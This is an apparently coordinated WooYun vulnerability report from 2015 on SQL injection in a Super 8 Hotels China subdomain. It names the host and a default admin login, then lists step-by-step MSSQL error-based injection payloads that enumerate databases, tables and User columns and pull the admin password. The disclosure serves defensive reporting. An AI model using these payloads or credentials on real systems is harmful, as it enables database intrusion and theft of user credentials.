当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137888

漏洞标题:速8酒店某分站存在多处SQL注入漏洞

相关厂商:速8酒店

漏洞作者: 浮萍

提交时间:2015-08-30 10:03

修复时间:2015-10-15 12:08

公开时间:2015-10-15 12:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:17

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-30: 细节已通知厂商并且等待厂商处理中
2015-08-31: 厂商已经确认,细节仅向厂商公开
2015-09-10: 细节向核心白帽子及相关领域专家公开
2015-09-20: 细节向普通白帽子公开
2015-09-30: 细节向实习白帽子公开
2015-10-15: 细节向公众公开

简要描述:

多处sql注入

详细说明:

源于http://wooyun.org/bugs/wooyun-2015-0136465

http://mys8.super8.com.cn:81/Login.aspx
admin super8


选区_266.png


登录

选区_267.png


在搜索处存在sql注入
这里随便打开一个

选区_268.png


搜索处输入'

选区_269.png


输入'and 1= 1 --

选区_272.png


输入'and 1= 2 --

选区_273.png


这里需要注意的是
当第一次搜索后报错后
再次搜索时搜索按钮被禁用
f12修改即可

选区_270.png


这里以供应商管理处为例

选区_274.png


搜索

a' and  user>0 and '%'='


选区_275.png


MSSQL数据库
这里抓包
用burp测试

a' and (select count(*) from sysobjects)>0  and '%'='


选区_276.png


不报错
是mssql数据库
查看数据库版本
输入select @@version时将会将第一个@转换为"
所以这里用select @@@version

a' and 0<>(select @@@version) --


选区_277.png


查看数据库名

a' and db_name()>0 and '%'='


选区_278.png


本地服务名

a' and 0<>(select @@@servername) --


选区_279.png


a' and 1=(select IS_SRVROLEMEMBER('sysadmin')) --


是系统管理员

漏洞证明:

a' and (select count(name) from master.dbo.sysdatabases)=9--


可以判断有9个数据库
爆库

a' and 1=(select name from master.dbo.sysdatabases where dbid=1) --


返回在将 nvarchar 值 'master' 转换成数据类型 int 时失败。
改变dbid的值
则返回的内容如下:

在将 nvarchar 值 'tempdb' 转换成数据类型 int 时失败。
在将 nvarchar 值 'model' 转换成数据类型 int 时失败。
在将 nvarchar 值 'msdb' 转换成数据类型 int 时失败。
在将 nvarchar 值 'ReportServer$SQL2008' 转换成数据类型 int 时失败。
在将 nvarchar 值 'ReportServer$SQL2008TempDB' 转换成数据类型 int 时失败。
在将 nvarchar 值 'super8db' 转换成数据类型 int 时失败。
在将 nvarchar 值 'super8dbTest' 转换成数据类型 int 时失败。
在将 nvarchar 值 'su8' 转换成数据类型 int 时失败。


我们仅查看super8db数据库

a' and  (select count(name) from sysobjects where xtype='u') =142 --


经测试有142张表

a' and  (select count(name) from sysobjects where xtype='u' and name like '%user%') =4 --


与user有关的表有4个

a' and  (select top 1 name from sysobjects where xtype='u' and name like '%user%') =1 --
在将 nvarchar 值 'User' 转换成数据类型 int 时失败。
a' and (select top 1 name from sysobjects where xtype='u' and name like '%user%' and name not in('User')) =1 --
在将 nvarchar 值 'UserAgent' 转换成数据类型 int 时失败。
a' and (select top 1 name from sysobjects where xtype='u' and name like '%user%' and name not in('User','UserAgent')) =1 --
在将 nvarchar 值 'UserAgentRole' 转换成数据类型 int 时失败。
a' and (select top 1 name from sysobjects where xtype='u' and name like '%user%' and name not in('User','UserAgent','UserAgentRole')) =1 --
在将 nvarchar 值 'UserRole' 转换成数据类型 int 时失败。


我们看User表的字段

a' and  (select top 1 col_name(object_id('User'),1) from sysobjects) =1 --
在将 nvarchar 值 'SID' 转换成数据类型 int 时失败。
a' and (select top 1 col_name(object_id('User'),2) from sysobjects) =1 --
在将 nvarchar 值 'Name' 转换成数据类型 int 时失败。
a' and (select top 1 col_name(object_id('User'),3) from sysobjects) =1 --
在将 nvarchar 值 'Password' 转换成数据类型 int 时失败。
a' and (select top 1 col_name(object_id('User'),4) from sysobjects) =1 --
在将 nvarchar 值 'State' 转换成数据类型 int 时失败。
a' and (select top 1 col_name(object_id('User'),5) from sysobjects) =1 --
在将 nvarchar 值 'CreateTime' 转换成数据类型 int 时失败。
a' and (select top 1 col_name(object_id('User'),6) from sysobjects) =1 --
在将 nvarchar 值 'LastModifyTime' 转换成数据类型 int 时失败。
a' and (select top 1 col_name(object_id('User'),7) from sysobjects) =1 --
在将 nvarchar 值 'Email' 转换成数据类型 int 时失败。


a' and  (select count(SID) from "User") =67 --


67个用户

选区_280.png


确实为67个
我们查看一下admin的密码

a' and (select Password from "User" where Name = 'admin')=1 --


选区_281.png


修复方案:

版权声明:转载请注明来源 浮萍@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-31 12:07

厂商回复:

非常感谢您的提醒.

最新状态:

暂无